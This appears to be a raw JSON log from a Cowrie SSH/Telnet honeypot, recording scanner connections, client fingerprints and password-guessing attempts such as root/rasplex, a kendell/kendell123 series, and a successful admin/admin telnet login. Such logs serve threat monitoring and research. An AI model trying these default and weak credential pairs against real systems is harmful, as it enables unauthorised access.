{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:dc:66:95:2e:ab:63:96:52:f9:a5:73:09:a7:29:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1dyQRo3S+MnY50k+d95XQO/Pi/fV8j/RJtQGRZOR+fpdfDvWKEyOC/7nHnYZChwDRCn9iYhejfcBQP3P589dVSZe3wW7wTD29UaMBmUiXfNPwnWZHGHvoaO2PRvFWx4nGrtAThtG+q2dxg/jV0bD38JaaRoHQsQEr4/G9JG0glIncMYrlXHxD2EEZY3ZqGwnp2CpGNyoy2jPjOpH16ur4OPzI7eaFE7iZDViI9mCUqGwIFWiw2t9/PfnBv3HXvJv6aVlum2QO9l7bIcwXka+9Kk5Up0Jtcp56Ym5e07szVF9q4LAm2Y2puM06CjLA4cg6VLDZSVDNbAGm4CnKXNVtgvgU2bBoYVkt0W5YukSub+SN9Z19aHs0CjSCJkSQapqqyL5UhyfSi5LjKk5600kQS2oUkBCmsKQxTHT3MVX0AZYfWkYVdVYcQ5PXww/7wzkmIg8AJU37xlSdUYCENcn86iiH/9gKCWJQXvGJT4DkkW46aReX6WkTWxDYiRI64tkdpahbJNA3AW58Oc580LWtyQDwUHbfgUc3LM5U+NjtQMqWcSeiQGHH9jjCrmYpA4Gw2Py4N1kJqlx2TH/Rhdt7l3lsrah83bgHZmGmbFP1JkZoerYSxN8wxlm4IwjhW8X6TBWomyUGd2wkqV0/8i4vvbm0hsvVMXdHp9Pe6HCffw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:dc:66:95:2e:ab:63:96:52:f9:a5:73:09:a7:29:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:17.807193Z","src_ip":"89.45.12.16","session":"18f2037411a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:dc:66:95:2e:ab:63:96:52:f9:a5:73:09:a7:29:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1dyQRo3S+MnY50k+d95XQO/Pi/fV8j/RJtQGRZOR+fpdfDvWKEyOC/7nHnYZChwDRCn9iYhejfcBQP3P589dVSZe3wW7wTD29UaMBmUiXfNPwnWZHGHvoaO2PRvFWx4nGrtAThtG+q2dxg/jV0bD38JaaRoHQsQEr4/G9JG0glIncMYrlXHxD2EEZY3ZqGwnp2CpGNyoy2jPjOpH16ur4OPzI7eaFE7iZDViI9mCUqGwIFWiw2t9/PfnBv3HXvJv6aVlum2QO9l7bIcwXka+9Kk5Up0Jtcp56Ym5e07szVF9q4LAm2Y2puM06CjLA4cg6VLDZSVDNbAGm4CnKXNVtgvgU2bBoYVkt0W5YukSub+SN9Z19aHs0CjSCJkSQapqqyL5UhyfSi5LjKk5600kQS2oUkBCmsKQxTHT3MVX0AZYfWkYVdVYcQ5PXww/7wzkmIg8AJU37xlSdUYCENcn86iiH/9gKCWJQXvGJT4DkkW46aReX6WkTWxDYiRI64tkdpahbJNA3AW58Oc580LWtyQDwUHbfgUc3LM5U+NjtQMqWcSeiQGHH9jjCrmYpA4Gw2Py4N1kJqlx2TH/Rhdt7l3lsrah83bgHZmGmbFP1JkZoerYSxN8wxlm4IwjhW8X6TBWomyUGd2wkqV0/8i4vvbm0hsvVMXdHp9Pe6HCffw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:17.812994Z","src_ip":"89.45.12.16","session":"18f2037411a9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:22:c7:3e:e5:23:87:9f:0c:67:96:02:87:ff:50:cd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL+WcIqlLdvGR12Tb8XINCDsVE4N3u31MEgJk34wXUCB","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 29:22:c7:3e:e5:23:87:9f:0c:67:96:02:87:ff:50:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:17.965284Z","src_ip":"89.45.12.16","session":"18f2037411a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:22:c7:3e:e5:23:87:9f:0c:67:96:02:87:ff:50:cd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL+WcIqlLdvGR12Tb8XINCDsVE4N3u31MEgJk34wXUCB","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:17.970103Z","src_ip":"89.45.12.16","session":"18f2037411a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:18.104029Z","src_ip":"89.45.12.16","session":"18f2037411a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:19.112931Z","src_ip":"80.94.92.184","session":"b563c15a719a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48430,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d185a4d712f","protocol":"telnet","message":"New connection: 192.119.13.58:48430 (10.17.0.5:23) [session: 7d185a4d712f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:19.536336Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42800,"dst_ip":"10.17.0.5","dst_port":23,"session":"b668a3e35a2c","protocol":"telnet","message":"New connection: 192.119.13.58:42800 (10.17.0.5:23) [session: b668a3e35a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:23.930317Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50284,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f3d5afb7298","protocol":"telnet","message":"New connection: 192.119.13.58:50284 (10.17.0.5:23) [session: 6f3d5afb7298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:25.718104Z"}
{"eventid":"cowrie.session.closed","duration":56.654091119766235,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:25.973477Z","src_ip":"192.119.13.58","session":"36b73992b114","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.10209608078003,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:26.752569Z","src_ip":"192.119.13.58","session":"141ab1619a70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":59354,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b4b8762e3f3","protocol":"ssh","message":"New connection: 167.172.81.52:59354 (159.203.135.109:22) [session: 8b4b8762e3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:28.200578Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:28.206037Z","src_ip":"167.172.81.52","session":"8b4b8762e3f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:28.210383Z","src_ip":"167.172.81.52","session":"8b4b8762e3f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":33732,"dst_ip":"159.203.135.109","dst_port":22,"session":"f68948ccbe5e","protocol":"ssh","message":"New connection: 103.166.103.173:33732 (159.203.135.109:22) [session: f68948ccbe5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:28.566171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:28.570874Z","src_ip":"103.166.103.173","session":"f68948ccbe5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:28.793437Z","src_ip":"103.166.103.173","session":"f68948ccbe5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testx","message":"login attempt [root/testx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:29.747554Z","src_ip":"103.166.103.173","session":"f68948ccbe5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:30.973085Z","src_ip":"103.166.103.173","session":"f68948ccbe5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44592,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd76a0d20ce3","protocol":"telnet","message":"New connection: 192.119.13.58:44592 (10.17.0.5:23) [session: dd76a0d20ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:31.048399Z"}
{"eventid":"cowrie.session.closed","duration":0.0055370330810546875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:31.053810Z","src_ip":"192.119.13.58","session":"dd76a0d20ce3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.367085695266724,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:32.225034Z","src_ip":"192.119.13.58","session":"9090c31b3246","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54876,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0ec7b6cd514","protocol":"telnet","message":"New connection: 192.119.13.58:54876 (10.17.0.5:23) [session: a0ec7b6cd514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:33.849501Z"}
{"eventid":"cowrie.session.closed","duration":30.89052939414978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:36.544728Z","src_ip":"192.119.13.58","session":"105d8afe2e08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39922,"dst_ip":"10.17.0.5","dst_port":23,"session":"403c9e7a1c4d","protocol":"telnet","message":"New connection: 192.119.13.58:39922 (10.17.0.5:23) [session: 403c9e7a1c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:37.033508Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47118,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bb269df8c75","protocol":"telnet","message":"New connection: 192.119.13.58:47118 (10.17.0.5:23) [session: 2bb269df8c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:38.777863Z"}
{"eventid":"cowrie.session.closed","duration":51.73950791358948,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:40.957223Z","src_ip":"192.119.13.58","session":"f7db1fbe946e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":43379,"dst_ip":"159.203.135.109","dst_port":22,"session":"a498ab4d0590","protocol":"ssh","message":"New connection: 213.209.159.56:43379 (159.203.135.109:22) [session: a498ab4d0590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:41.627308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:41.637990Z","src_ip":"213.209.159.56","session":"a498ab4d0590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:41.720400Z","src_ip":"213.209.159.56","session":"a498ab4d0590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kendell","password":"kendell","message":"login attempt [kendell/kendell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:42.119513Z","src_ip":"213.209.159.56","session":"a498ab4d0590","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":57076,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac0eb4c871ee","protocol":"ssh","message":"New connection: 43.135.129.144:57076 (159.203.135.109:22) [session: ac0eb4c871ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:43.189338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:43.198615Z","src_ip":"43.135.129.144","session":"ac0eb4c871ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kendell","password":"kendell1","message":"login attempt [kendell/kendell1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:43.204877Z","src_ip":"213.209.159.56","session":"a498ab4d0590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:43.268195Z","src_ip":"43.135.129.144","session":"ac0eb4c871ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rasplex","message":"login attempt [root/rasplex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:43.574160Z","src_ip":"43.135.129.144","session":"ac0eb4c871ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40618,"dst_ip":"10.17.0.5","dst_port":23,"session":"5adce23f0990","protocol":"telnet","message":"New connection: 192.119.13.58:40618 (10.17.0.5:23) [session: 5adce23f0990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:43.771854Z"}
{"eventid":"cowrie.login.failed","username":"kendell","password":"kendell123","message":"login attempt [kendell/kendell123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:44.289206Z","src_ip":"213.209.159.56","session":"a498ab4d0590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:44.646755Z","src_ip":"43.135.129.144","session":"ac0eb4c871ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kendell","password":"kendell1234","message":"login attempt [kendell/kendell1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:45.375325Z","src_ip":"213.209.159.56","session":"a498ab4d0590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kendell","password":"kendell12345","message":"login attempt [kendell/kendell12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:46.461323Z","src_ip":"213.209.159.56","session":"a498ab4d0590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:47.547333Z","src_ip":"213.209.159.56","session":"a498ab4d0590","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:48.250772Z","src_ip":"47.85.8.171","session":"25fd783d33c4","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:48.301622Z","src_ip":"47.85.8.171","session":"25fd783d33c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35722,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d9c4bf22e49","protocol":"telnet","message":"New connection: 192.119.13.58:35722 (10.17.0.5:23) [session: 0d9c4bf22e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:49.497813Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":42884,"dst_ip":"10.17.0.5","dst_port":22,"session":"54f3e2d4f4e1","protocol":"ssh","message":"New connection: 43.153.104.156:42884 (10.17.0.5:22) [session: 54f3e2d4f4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:53.005037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:53.010727Z","src_ip":"43.153.104.156","session":"54f3e2d4f4e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:53.079072Z","src_ip":"43.153.104.156","session":"54f3e2d4f4e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cooper","password":"cooper123","message":"login attempt [cooper/cooper123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:53.381969Z","src_ip":"43.153.104.156","session":"54f3e2d4f4e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:54.452693Z","src_ip":"43.153.104.156","session":"54f3e2d4f4e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.10129904747009,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:54.625602Z","src_ip":"192.119.13.58","session":"ca6b7695ac89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"39.108.91.46","src_port":54414,"dst_ip":"159.203.135.109","dst_port":22,"session":"df03d0d16d60","protocol":"ssh","message":"New connection: 39.108.91.46:54414 (159.203.135.109:22) [session: df03d0d16d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:55.536709Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:55.542063Z","src_ip":"39.108.91.46","session":"df03d0d16d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34892,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd39cb12c21b","protocol":"telnet","message":"New connection: 192.119.13.58:34892 (10.17.0.5:23) [session: bd39cb12c21b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:55.814724Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50040,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bc471d299c2","protocol":"telnet","message":"New connection: 192.119.13.58:50040 (10.17.0.5:23) [session: 1bc471d299c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:59.578617Z"}
